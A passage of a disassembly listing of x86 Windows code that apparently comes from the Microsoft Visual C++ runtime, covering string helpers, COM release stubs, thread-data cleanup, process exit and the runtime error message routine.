; =============== S U B R O U T I N E =======================================
sub_69B84938 proc near ; DATA XREF: .text:69B2A888o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
dec dword ptr [esi+4]
mov eax, [esi+4]
jnz short loc_69B84954
mov ecx, esi
call sub_69B84958
push esi
call sub_69B1B2B7
xor eax, eax
loc_69B84954: ; CODE XREF: sub_69B84938+Bj
pop esi
retn 4
sub_69B84938 endp
; =============== S U B R O U T I N E =======================================
sub_69B84958 proc near ; CODE XREF: sub_69B84938+Fp
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
mov dword ptr [esi], offset off_69B2A880
jz short loc_69B8496E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8496E: ; CODE XREF: sub_69B84958+Ej
mov eax, [esi+0Ch]
test eax, eax
jz short loc_69B8497B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B8497B: ; CODE XREF: sub_69B84958+1Bj
mov ecx, [esi+14h]
test ecx, ecx
pop esi
jz short locret_69B8498A
push 1
call sub_69B8498B
locret_69B8498A: ; CODE XREF: sub_69B84958+29j
retn
sub_69B84958 endp
; =============== S U B R O U T I N E =======================================
sub_69B8498B proc near ; CODE XREF: sub_69B1E82F+1Fp
; sub_69B84958+2Dp
arg_0 = byte ptr 4
push esi
push edi
mov edi, SysFreeString
mov esi, ecx
push dword ptr [esi+0Ch] ; BSTR
call edi ; SysFreeString
push dword ptr [esi+18h] ; BSTR
call edi ; SysFreeString
test [esp+8+arg_0], 1
jz short loc_69B849AC
push esi
call sub_69B1B2B7
loc_69B849AC: ; CODE XREF: sub_69B8498B+19j
pop edi
mov eax, esi
pop esi
retn 4
sub_69B8498B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B849B3 proc near ; CODE XREF: sub_69B7FB0F+18Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi]
lea ecx, [ebp+var_8]
push ecx
push (offset loc_69B2B07C+4)
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B84A1C
mov eax, [esi]
lea ecx, [ebp+var_4]
push ecx
push offset dword_69B2B100
push esi
call dword ptr [eax]
test eax, eax
jl short loc_69B84A13
push 1Ch
call sub_69B1D897
test eax, eax
jz short loc_69B84A04
push [ebp+var_4]
mov ecx, eax
push [ebp+var_8]
call sub_69B84713
mov esi, eax
jmp short loc_69B84A06
; ---------------------------------------------------------------------------
loc_69B84A04: ; CODE XREF: sub_69B849B3+3Ej
xor esi, esi
loc_69B84A06: ; CODE XREF: sub_69B849B3+4Fj
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
mov eax, esi
jmp short loc_69B84A1E
; ---------------------------------------------------------------------------
loc_69B84A13: ; CODE XREF: sub_69B849B3+33j
mov eax, [ebp+var_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B84A1C: ; CODE XREF: sub_69B849B3+21j
xor eax, eax
loc_69B84A1E: ; CODE XREF: sub_69B849B3+5Ej
pop esi
leave
retn 4
sub_69B849B3 endp
; =============== S U B R O U T I N E =======================================
sub_69B84A23 proc near ; DATA XREF: .text:69B15DF0o
; .text:69B1E948o ...
mov eax, 80004001h
retn 24h
sub_69B84A23 endp
; =============== S U B R O U T I N E =======================================
sub_69B84A2B proc near ; DATA XREF: .text:69B15ECCo
; .text:69B1EB5Co
mov eax, 80004001h
retn 3Ch
sub_69B84A2B endp
; =============== S U B R O U T I N E =======================================
sub_69B84A33 proc near ; DATA XREF: .text:69B15EF0o
; .text:69B1EB80o
mov eax, 80004001h
retn 20h
sub_69B84A33 endp
; =============== S U B R O U T I N E =======================================
sub_69B84A3B proc near ; DATA XREF: .text:69B122DCo
; .text:69B12300o ...
mov eax, 80004001h
retn 8
sub_69B84A3B endp
; =============== S U B R O U T I N E =======================================
sub_69B84A43 proc near ; DATA XREF: .text:69B122C0o
; .text:69B122D8o ...
mov eax, 80004001h
retn 0Ch
sub_69B84A43 endp
; =============== S U B R O U T I N E =======================================
sub_69B84A4B proc near ; DATA XREF: .text:69B1424Co
; .text:69B14638o ...
mov eax, 80004001h
retn 10h
sub_69B84A4B endp
; =============== S U B R O U T I N E =======================================
sub_69B84A53 proc near ; DATA XREF: .text:69B14248o
; .text:69B1EA10o
mov eax, 80004001h
retn 1Ch
sub_69B84A53 endp
; =============== S U B R O U T I N E =======================================
sub_69B84A5B proc near ; CODE XREF: sub_69B113FC+13CC9p
; sub_69B84DE2+Ep ...
arg_0 = dword ptr 4
mov eax, dword_69B9B6C0
cmp eax, 1
jz short loc_69B84A72
test eax, eax
jnz short loc_69B84A77
cmp dword_69B9B6C4, 1
jnz short loc_69B84A77
loc_69B84A72: ; CODE XREF: sub_69B84A5B+8j
call sub_69B851BF
loc_69B84A77: ; CODE XREF: sub_69B84A5B+Cj
; sub_69B84A5B+15j
push [esp+arg_0]
call sub_69B84F8F
push 0FFh
call off_69B9AA30
pop ecx
pop ecx
retn
sub_69B84A5B endp
; =============== S U B R O U T I N E =======================================
sub_69B84A8E proc near ; CODE XREF: sub_69B20F54:loc_69B20FCCp
; sub_69B2CA1A+7Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
push edi
jmp short loc_69B84AA3
; ---------------------------------------------------------------------------
loc_69B84A9A: ; CODE XREF: sub_69B84A8E+20j
test cx, cx
jz short loc_69B84AB0
inc edx
inc edx
inc esi
inc esi
loc_69B84AA3: ; CODE XREF: sub_69B84A8E+Aj
mov cx, [esi]
movzx eax, word ptr [edx]
movzx edi, cx
sub eax, edi
jz short loc_69B84A9A
loc_69B84AB0: ; CODE XREF: sub_69B84A8E+Fj
test eax, eax
pop edi
pop esi
jge short loc_69B84ABA
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_69B84ABA: ; CODE XREF: sub_69B84A8E+26j
jle short locret_69B84ABF
xor eax, eax
inc eax
locret_69B84ABF: ; CODE XREF: sub_69B84A8E:loc_69B84ABAj
retn
sub_69B84A8E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B84AC0 proc near ; CODE XREF: sub_69B1F9DC+2Ep
; sub_69B374CD+12p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_69B84ACD
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B84ACD: ; CODE XREF: sub_69B84AC0+7j
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
loc_69B84AD3: ; CODE XREF: sub_69B84AC0+29j
dec [ebp+arg_8]
jz short loc_69B84AEB
mov ax, [ecx]
test ax, ax
jz short loc_69B84AEB
cmp ax, [edx]
jnz short loc_69B84AEB
inc ecx
inc ecx
inc edx
inc edx
jmp short loc_69B84AD3
; ---------------------------------------------------------------------------
loc_69B84AEB: ; CODE XREF: sub_69B84AC0+16j
; sub_69B84AC0+1Ej ...
movzx eax, word ptr [ecx]
movzx ecx, word ptr [edx]
sub eax, ecx
pop ebp
retn
sub_69B84AC0 endp
; =============== S U B R O U T I N E =======================================
sub_69B84AF5 proc near ; CODE XREF: sub_69B3ACD6+69p
; sub_69B7B446+32p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov edx, [esp+arg_4]
loc_69B84AFD: ; CODE XREF: sub_69B84AF5+15j
mov ax, [edx]
mov [ecx], ax
inc ecx
inc ecx
inc edx
inc edx
test ax, ax
jnz short loc_69B84AFD
mov eax, [esp+arg_0]
retn
sub_69B84AF5 endp
; =============== S U B R O U T I N E =======================================
sub_69B84B11 proc near ; CODE XREF: sub_69B84B5F+1Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
jz short loc_69B84B22
mov word ptr [ecx], 2Dh
add ecx, 2
neg eax
loc_69B84B22: ; CODE XREF: sub_69B84B11+5j
push esi
mov esi, ecx
loc_69B84B25: ; CODE XREF: sub_69B84B11+2Ej
xor edx, edx
div [esp+4+arg_0]
cmp edx, 9
jbe short loc_69B84B35
add edx, 57h
jmp short loc_69B84B38
; ---------------------------------------------------------------------------
loc_69B84B35: ; CODE XREF: sub_69B84B11+1Dj
add edx, 30h
loc_69B84B38: ; CODE XREF: sub_69B84B11+22j
mov [ecx], dx
inc ecx
inc ecx
test eax, eax
ja short loc_69B84B25
and word ptr [ecx], 0
dec ecx
dec ecx
loc_69B84B47: ; CODE XREF: sub_69B84B11+48j
mov dx, [esi]
mov ax, [ecx]
mov [ecx], dx
dec ecx
mov [esi], ax
dec ecx
inc esi
inc esi
cmp esi, ecx
jb short loc_69B84B47
pop esi
retn 8
sub_69B84B11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B84B5F proc near ; CODE XREF: sub_69B3D7B4+93p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
xor eax, eax
cmp [ebp+arg_8], 0Ah
jnz short loc_69B84B70
cmp [ebp+arg_0], eax
jge short loc_69B84B70
inc eax
loc_69B84B70: ; CODE XREF: sub_69B84B5F+9j
; sub_69B84B5F+Ej
mov ecx, [ebp+arg_4]
push eax
push [ebp+arg_8]
mov eax, [ebp+arg_0]
call sub_69B84B11
mov eax, [ebp+arg_4]
pop ebp
retn
sub_69B84B5F endp
; =============== S U B R O U T I N E =======================================
sub_69B84B84 proc near ; CODE XREF: sub_69B84BBD+9p
arg_0 = byte ptr 4
mov cl, [esp+arg_0]
xor eax, eax
test cl, 1
jz short loc_69B84B92
push 10h
pop eax
loc_69B84B92: ; CODE XREF: sub_69B84B84+9j
test cl, 4
jz short loc_69B84B9A
or eax, 8
loc_69B84B9A: ; CODE XREF: sub_69B84B84+11j
test cl, 8
jz short loc_69B84BA2
or eax, 4
loc_69B84BA2: ; CODE XREF: sub_69B84B84+19j
test cl, 10h
jz short loc_69B84BAA
or eax, 2
loc_69B84BAA: ; CODE XREF: sub_69B84B84+21j
test cl, 20h
jz short loc_69B84BB2
or eax, 1
loc_69B84BB2: ; CODE XREF: sub_69B84B84+29j
test cl, 2
jz short locret_69B84BBC
or eax, 80000h
locret_69B84BBC: ; CODE XREF: sub_69B84B84+31j
retn
sub_69B84B84 endp
; =============== S U B R O U T I N E =======================================
sub_69B84BBD proc near ; CODE XREF: sub_69B47D46+3p
var_4 = dword ptr -4
push ecx
fnstsw word ptr [esp+4+var_4]
fnclex
push [esp+4+var_4]
call sub_69B84B84
pop ecx
pop ecx
retn
sub_69B84BBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_69B84BCE(double)
sub_69B84BCE proc near ; CODE XREF: sub_69B63D7C+Ep
; sub_69B64179+21p ...
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+arg_0+6]
mov ecx, 7FF0h
mov edx, eax
and edx, ecx
cmp dx, cx
jnz short loc_69B84C0F
fld qword ptr [ebp+8]
push ecx
push ecx
fstp [esp+8+var_8]
call sub_69B855CF
dec eax
pop ecx
pop ecx
jz short loc_69B84C08
dec eax
jz short loc_69B84C04
dec eax
jz short loc_69B84BFF
xor eax, eax
inc eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B84BFF: ; CODE XREF: sub_69B84BCE+2Aj
push 2
loc_69B84C01: ; CODE XREF: sub_69B84BCE+38j
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B84C04: ; CODE XREF: sub_69B84BCE+27j
push 4
jmp short loc_69B84C01
; ---------------------------------------------------------------------------
loc_69B84C08: ; CODE XREF: sub_69B84BCE+24j
mov eax, 200h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B84C0F: ; CODE XREF: sub_69B84BCE+12j
and eax, 8000h
test dx, dx
mov ecx, eax
jnz short loc_69B84C3A
test dword ptr [ebp+0Ch], 0FFFFFh
jnz short loc_69B84C2A
cmp dword ptr [ebp+arg_0], 0
jz short loc_69B84C3A
loc_69B84C2A: ; CODE XREF: sub_69B84BCE+54j
mov eax, ecx
neg eax
sbb eax, eax
and eax, 0FFFFFF90h
add eax, 80h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B84C3A: ; CODE XREF: sub_69B84BCE+4Bj
; sub_69B84BCE+5Aj
fld [ebp+arg_0]
fcomp ds:dbl_69B29700
fnstsw ax
test ah, 44h
mov eax, ecx
jp short loc_69B84C58
neg eax
sbb eax, eax
and eax, 0FFFFFFE0h
add eax, 40h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_69B84C58: ; CODE XREF: sub_69B84BCE+7Cj
neg eax
sbb eax, eax
and eax, 0FFFFFF08h
add eax, 100h
pop ebp
retn
sub_69B84BCE endp
; =============== S U B R O U T I N E =======================================
sub_69B84C68 proc near ; CODE XREF: sub_69B7A806+Dp
; sub_69B7A851+51p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
loc_69B84C6C: ; CODE XREF: sub_69B84C68+Cj
mov cx, [eax]
inc eax
inc eax
test cx, cx
jnz short loc_69B84C6C
sub eax, [esp+arg_0]
sar eax, 1
dec eax
retn
sub_69B84C68 endp
; =============== S U B R O U T I N E =======================================
sub_69B84C7E proc near ; CODE XREF: sub_69B7AA79+25p
; sub_69B7AA79+71p
arg_0 = dword ptr 4
arg_4 = word ptr 8
mov eax, [esp+arg_0]
mov dx, [esp+arg_4]
jmp short loc_69B84C90
; ---------------------------------------------------------------------------
loc_69B84C89: ; CODE XREF: sub_69B84C7E+18j
cmp cx, dx
jz short locret_69B84C9F
inc eax
inc eax
loc_69B84C90: ; CODE XREF: sub_69B84C7E+9j
mov cx, [eax]
test cx, cx
jnz short loc_69B84C89
cmp cx, dx
jz short locret_69B84C9F
xor eax, eax
locret_69B84C9F: ; CODE XREF: sub_69B84C7E+Ej
; sub_69B84C7E+1Dj
retn
sub_69B84C7E endp
; =============== S U B R O U T I N E =======================================
sub_69B84CA0 proc near ; CODE XREF: sub_69B7E79D+87p
; sub_69B7FF98+63p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
test ecx, ecx
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, edi
jz short loc_69B84CD8
mov edx, [esp+8+arg_4]
loc_69B84CB4: ; CODE XREF: sub_69B84CA0+24j
mov ax, [edx]
mov [edi], ax
inc edi
inc edi
inc edx
inc edx
test ax, ax
jz short loc_69B84CC6
dec ecx
jnz short loc_69B84CB4
loc_69B84CC6: ; CODE XREF: sub_69B84CA0+21j
test ecx, ecx
jz short loc_69B84CD8
dec ecx
jz short loc_69B84CD8
xor eax, eax
shr ecx, 1
rep stosd
adc ecx, ecx
rep stosw
loc_69B84CD8: ; CODE XREF: sub_69B84CA0+Ej
; sub_69B84CA0+28j ...
pop edi
mov eax, esi
pop esi
retn
sub_69B84CA0 endp
; =============== S U B R O U T I N E =======================================
sub_69B84CDD proc near ; CODE XREF: sub_69B7E79D+64p
arg_0 = dword ptr 4
arg_4 = word ptr 8
mov eax, [esp+arg_0]
mov edx, eax
loc_69B84CE3: ; CODE XREF: sub_69B84CDD+Ej
mov cx, [eax]
inc eax
inc eax
test cx, cx
jnz short loc_69B84CE3
mov cx, [esp+arg_4]
loc_69B84CF2: ; CODE XREF: sub_69B84CDD+1Ej
dec eax
dec eax
cmp eax, edx
jz short loc_69B84CFD
cmp [eax], cx
jnz short loc_69B84CF2
loc_69B84CFD: ; CODE XREF: sub_69B84CDD+19j
mov dx, [eax]
sub dx, cx
neg dx
sbb edx, edx
not edx
and eax, edx
retn
sub_69B84CDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
; int __cdecl sub_69B84D0D(UINT uExitCode)
sub_69B84D0D proc near ; CODE XREF: sub_69B1BA12+92F2p
uExitCode = dword ptr 4
push offset aMscoree_dll ; "mscoree.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
test eax, eax
jz short loc_69B84D32
push offset aCorexitprocess ; "CorExitProcess"
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
test eax, eax
jz short loc_69B84D32
push [esp+uExitCode]
call eax
loc_69B84D32: ; CODE XREF: sub_69B84D0D+Dj
; sub_69B84D0D+1Dj
push [esp+uExitCode] ; uExitCode
call ds:ExitProcess ; ExitProcess
sub_69B84D0D endp
; ---------------------------------------------------------------------------
; char aCorexitprocess[]
aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_69B84D0D+Fo
align 4
; char aMscoree_dll[]
aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_69B84D0Do
; =============== S U B R O U T I N E =======================================
sub_69B84D58 proc near ; CODE XREF: sub_69B84A5B+2Ap
; DATA XREF: .data:off_69B9AA30o
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_69B1BA12
add esp, 0Ch
retn
sub_69B84D58 endp
; =============== S U B R O U T I N E =======================================
sub_69B84D69 proc near ; CODE XREF: sub_69B1B625+95C2p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword ptr [eax+54h], offset dword_69B927B8
mov dword ptr [eax+14h], 1
retn
sub_69B84D69 endp
; =============== S U B R O U T I N E =======================================
sub_69B84D7C proc near ; CODE XREF: sub_69B84DE2+1p
; sub_69B86B5Fp
push ebx
push esi
call ds:GetLastError
push dword_69B9267C
mov ebx, eax
call dword_69B95B30
mov esi, eax
test esi, esi
jnz short loc_69B84DD6
xor ecx, ecx
mov edx, 8Ch
inc ecx
call sub_69B1CE89
mov esi, eax
test esi, esi
jz short loc_69B84DD6
push esi
push dword_69B9267C
call dword_69B95B34
test eax, eax
jz short loc_69B84DD6
mov dword ptr [esi+54h], offset dword_69B927B8
mov dword ptr [esi+14h], 1
call ds:GetCurrentThreadId ; GetCurrentThreadId
or dword ptr [esi+4], 0FFFFFFFFh
mov [esi], eax
loc_69B84DD6: ; CODE XREF: sub_69B84D7C+1Aj
; sub_69B84D7C+2Dj ...
push ebx ; dwErrCode
call ds:SetLastError
mov eax, esi
pop esi
pop ebx
retn
sub_69B84D7C endp
; =============== S U B R O U T I N E =======================================
sub_69B84DE2 proc near ; CODE XREF: sub_69B8599F+1p
; sub_69B8651Fp ...
push esi
call sub_69B84D7C
mov esi, eax
test esi, esi
jnz short loc_69B84DF6
push 10h
call sub_69B84A5B
pop ecx
loc_69B84DF6: ; CODE XREF: sub_69B84DE2+Aj
mov eax, esi
pop esi
retn
sub_69B84DE2 endp
; =============== S U B R O U T I N E =======================================
sub_69B84DFA proc near ; CODE XREF: sub_69B84F60+1Bp
; DATA XREF: sub_69B1CD73:loc_69B1CDFEo
push 10h
push offset dword_69B84F48
call sub_69B19C5C
mov esi, [ebp+8]
xor edi, edi
cmp esi, edi
jz loc_69B84F1F
mov eax, [esi+24h]
cmp eax, edi
jz short loc_69B84E21
push eax
call sub_69B1D1FD
pop ecx
loc_69B84E21: ; CODE XREF: sub_69B84DFA+1Ej
mov eax, [esi+2Ch]
cmp eax, edi
jz short loc_69B84E2F
push eax
call sub_69B1D1FD
pop ecx
loc_69B84E2F: ; CODE XREF: sub_69B84DFA+2Cj
mov eax, [esi+34h]
cmp eax, edi
jz short loc_69B84E3D
push eax
call sub_69B1D1FD
pop ecx
loc_69B84E3D: ; CODE XREF: sub_69B84DFA+3Aj
mov eax, [esi+3Ch]
cmp eax, edi
jz short loc_69B84E4B
push eax
call sub_69B1D1FD
pop ecx
loc_69B84E4B: ; CODE XREF: sub_69B84DFA+48j
mov eax, [esi+44h]
cmp eax, edi
jz short loc_69B84E59
push eax
call sub_69B1D1FD
pop ecx
loc_69B84E59: ; CODE XREF: sub_69B84DFA+56j
mov eax, [esi+48h]
cmp eax, edi
jz short loc_69B84E67
push eax
call sub_69B1D1FD
pop ecx
loc_69B84E67: ; CODE XREF: sub_69B84DFA+64j
mov eax, [esi+54h]
cmp eax, offset dword_69B927B8
jz short loc_69B84E78
push eax
call sub_69B1D1FD
pop ecx
loc_69B84E78: ; CODE XREF: sub_69B84DFA+75j
push 0Dh
call sub_69B113FC
pop ecx
mov [ebp-4], edi
mov eax, [esi+60h]
mov [ebp-1Ch], eax
cmp eax, edi
jz short loc_69B84EA0
dec dword ptr [eax]
jnz short loc_69B84EA0
cmp eax, dword_69B95DBC
jz short loc_69B84EA0
push eax
call sub_69B1D1FD
pop ecx
loc_69B84EA0: ; CODE XREF: sub_69B84DFA+91j
; sub_69B84DFA+95j ...
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B84F2C
push 0Ch
call sub_69B113FC
pop ecx
mov dword ptr [ebp-4], 1
mov eax, [esi+64h]
mov [ebp-20h], eax
cmp eax, edi
jz short loc_69B84F0F
dec dword ptr [eax]
cmp [eax+2Ch], edi
jz short loc_69B84ECE
mov ecx, [eax+2Ch]
dec dword ptr [ecx]
loc_69B84ECE: ; CODE XREF: sub_69B84DFA+CDj
cmp [eax+34h], edi
jz short loc_69B84ED8
mov ecx, [eax+34h]
dec dword ptr [ecx]
loc_69B84ED8: ; CODE XREF: sub_69B84DFA+D7j
cmp [eax+30h], edi
jz short loc_69B84EE2
mov ecx, [eax+30h]
dec dword ptr [ecx]
loc_69B84EE2: ; CODE XREF: sub_69B84DFA+E1j
cmp [eax+40h], edi
jz short loc_69B84EEC
mov ecx, [eax+40h]
dec dword ptr [ecx]
loc_69B84EEC: ; CODE XREF: sub_69B84DFA+EBj
mov ecx, [eax+4Ch]
dec dword ptr [ecx+0B4h]
cmp eax, off_69B9AB2C
jz short loc_69B84F0F
cmp eax, offset dword_69B9AAD8
jz short loc_69B84F0F
cmp [eax], edi
jnz short loc_69B84F0F
push eax
call sub_69B858CF
pop ecx
loc_69B84F0F: ; CODE XREF: sub_69B84DFA+C6j
; sub_69B84DFA+101j ...
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B84F38
push esi
call sub_69B1D1FD
pop ecx
loc_69B84F1F: ; CODE XREF: sub_69B84DFA+13j
call sub_69B1853C
retn 4
sub_69B84DFA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B84F27 proc near ; DATA XREF: .text:69B84F50o
xor edi, edi
mov esi, [ebp+8]
sub_69B84F27 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B84F2C proc near ; CODE XREF: sub_69B84DFA+AAp
push 0Dh
call sub_69B1D1C5
pop ecx
retn
sub_69B84F2C endp
; =============== S U B R O U T I N E =======================================
sub_69B84F35 proc near ; DATA XREF: .text:69B84F5Co
mov esi, [ebp+8]
sub_69B84F35 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_69B84F38 proc near ; CODE XREF: sub_69B84DFA+119p
push 0Ch
call sub_69B1D1C5
pop ecx
retn
sub_69B84F38 endp
; ---------------------------------------------------------------------------
align 8
dword_69B84F48 dd 0FFFFFFFFh, 0 dd offset sub_69B84F27
dd 0FFFFFFFFh, 0
dd offset sub_69B84F35
; =============== S U B R O U T I N E =======================================
sub_69B84F60 proc near ; CODE XREF: sub_69B1B625+95EFp
arg_0 = dword ptr 4
mov ecx, dword_69B9267C
cmp ecx, 0FFFFFFFFh
jz short locret_69B84F8E
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_69B84F7A
push ecx
call dword_69B95B30
loc_69B84F7A: ; CODE XREF: sub_69B84F60+11j
push eax
call sub_69B84DFA
push 0
push dword_69B9267C
call dword_69B95B34
locret_69B84F8E: ; CODE XREF: sub_69B84F60+9j
retn
sub_69B84F60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B84F8F proc near ; CODE XREF: sub_69B84A5B+20p
; sub_69B851BF+1Cp ...
var_148 = byte ptr -148h
Filename = byte ptr -10Ch
var_8 = byte ptr -8
NumberOfBytesWritten= dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
xor eax, eax
loc_69B84FA0: ; CODE XREF: sub_69B84F8F+1Ej
cmp ecx, dword_69B9AA38[eax*8]
jz short loc_69B84FAF
inc eax
cmp eax, 12h
jb short loc_69B84FA0
loc_69B84FAF: ; CODE XREF: sub_69B84F8F+18j
mov esi, eax
shl esi, 3
cmp ecx, dword_69B9AA38[esi]
mov [ebp+arg_0], esi
jnz loc_69B8514E
mov eax, dword_69B9B6C0
cmp eax, 1
jz loc_69B8511F
test eax, eax
jnz short loc_69B84FE2
cmp dword_69B9B6C4, 1
jz loc_69B8511F
loc_69B84FE2: ; CODE XREF: sub_69B84F8F+44j
cmp ecx, 0FCh
jz loc_69B8514E
push 104h ; nSize
lea eax, [ebp+Filename]
push eax ; lpFilename
push 0 ; hModule
mov [ebp+var_8], 0
call ds:GetModuleFileNameA ; GetModuleFileNameA
test eax, eax
jnz short loc_69B8501D
push 5
pop ecx
mov esi, offset aProgramNameUnk ; "<program name unknown>"
lea edi, [ebp+Filename]
rep movsd
movsw
movsb
loc_69B8501D: ; CODE XREF: sub_69B84F8F+79j
lea ebx, [ebp+Filename]
mov eax, ebx
lea edx, [eax+1]
loc_69B85028: ; CODE XREF: sub_69B84F8F+9Ej
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_69B85028
sub eax, edx
inc eax
cmp eax, 3Ch
jbe short loc_69B85060
lea eax, [ebp+Filename]
lea edx, [eax+1]
loc_69B85040: ; CODE XREF: sub_69B84F8F+B6j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_69B85040
sub eax, edx
push 3
lea ebx, [ebp+eax-147h]
push offset dword_69B851A4
push ebx
call sub_69B2263E
add esp, 0Ch
loc_69B85060: ; CODE XREF: sub_69B84F8F+A6j
mov eax, ebx
lea edx, [eax+1]
loc_69B85065: ; CODE XREF: sub_69B84F8F+DBj
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_69B85065
sub eax, edx
mov ecx, eax
mov eax, [ebp+arg_0]
mov eax, off_69B9AA3C[eax]
lea esi, [eax+1]
loc_69B8507C: ; CODE XREF: sub_69B84F8F+F2j
mov dl, [eax]
inc eax
test dl, dl
jnz short loc_69B8507C
sub eax, esi
lea eax, [eax+ecx+1Ch]
add eax, 3
and eax, 0FFFFFFFCh
call sub_69B1B09C
mov edx, esp
push 6
pop ecx
mov esi, offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
mov edi, edx
rep movsd
mov eax, ebx
movsw
mov esi, eax
loc_69B850A8: ; CODE XREF: sub_69B84F8F+11Ej
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_69B850A8
mov edi, edx
sub eax, esi
dec edi
loc_69B850B4: ; CODE XREF: sub_69B84F8F+12Bj
mov cl, [edi+1]
inc edi
test cl, cl
jnz short loc_69B850B4
mov ecx, eax
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, edx
dec edi
loc_69B850CD: ; CODE XREF: sub_69B84F8F+144j
mov al, [edi+1]
inc edi
test al, al
jnz short loc_69B850CD
mov eax, [ebp+arg_0]
mov esi, offset dword_69B85184
movsw
movsb
mov eax, off_69B9AA3C[eax]
mov esi, eax
loc_69B850E8: ; CODE XREF: sub_69B84F8F+15Ej
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_69B850E8
mov edi, edx
sub eax, esi
dec edi
loc_69B850F4: ; CODE XREF: sub_69B84F8F+16Bj
mov cl, [edi+1]
inc edi
test cl, cl
jnz short loc_69B850F4
mov ecx, eax
shr ecx, 2
rep movsd
push 12010h
mov ecx, eax
and ecx, 3
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push edx
rep movsb
call sub_69B863B4
add esp, 0Ch
jmp short loc_69B8514E
; ---------------------------------------------------------------------------
loc_69B8511F: ; CODE XREF: sub_69B84F8F+3Cj
; sub_69B84F8F+4Dj
push 0FFFFFFF4h ; nStdHandle
call ds:GetStdHandle ; GetStdHandle
test eax, eax
jz short loc_69B8514E
mov esi, off_69B9AA3C[esi]
mov ecx, esi
lea edx, [ecx+1]
loc_69B85136: ; CODE XREF: sub_69B84F8F+1ACj
mov bl, [ecx]
inc ecx
test bl, bl
jnz short loc_69B85136
push 0 ; lpOverlapped
sub ecx, edx
lea edx, [ebp+NumberOfBytesWritten]
push edx ; lpNumberOfBytesWritten
push ecx ; nNumberOfBytesToWrite
push esi ; lpBuffer
push eax ; hFile
call ds:WriteFile ; WriteFile
loc_69B8514E: ; CODE XREF: sub_69B84F8F+2Ej
; sub_69B84F8F+59j ...
lea esp, [ebp-118h]
pop edi
pop esi
pop ebx
leave
retn
sub_69B84F8F endp
; ---------------------------------------------------------------------------
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_69B84F8F+17Eo
align 4
dword_69B85184 dd 90000A0Ah aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_69B84F8F+10Ao
db 0Ah
db 'Program: ',0
align 4
dword_69B851A4 dd 2E2E2Eh aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_69B84F8F+7Eo
; =============== S U B R O U T I N E =======================================
sub_69B851BF proc near ; CODE XREF: sub_69B84A5B:loc_69B84A72p
mov eax, dword_69B9B6C0
cmp eax, 1
jz short loc_69B851D6
test eax, eax
jnz short locret_69B851F7
cmp dword_69B9B6C4, 1
jnz short locret_69B851F7
loc_69B851D6: ; CODE XREF: sub_69B851BF+8j
push 0FCh
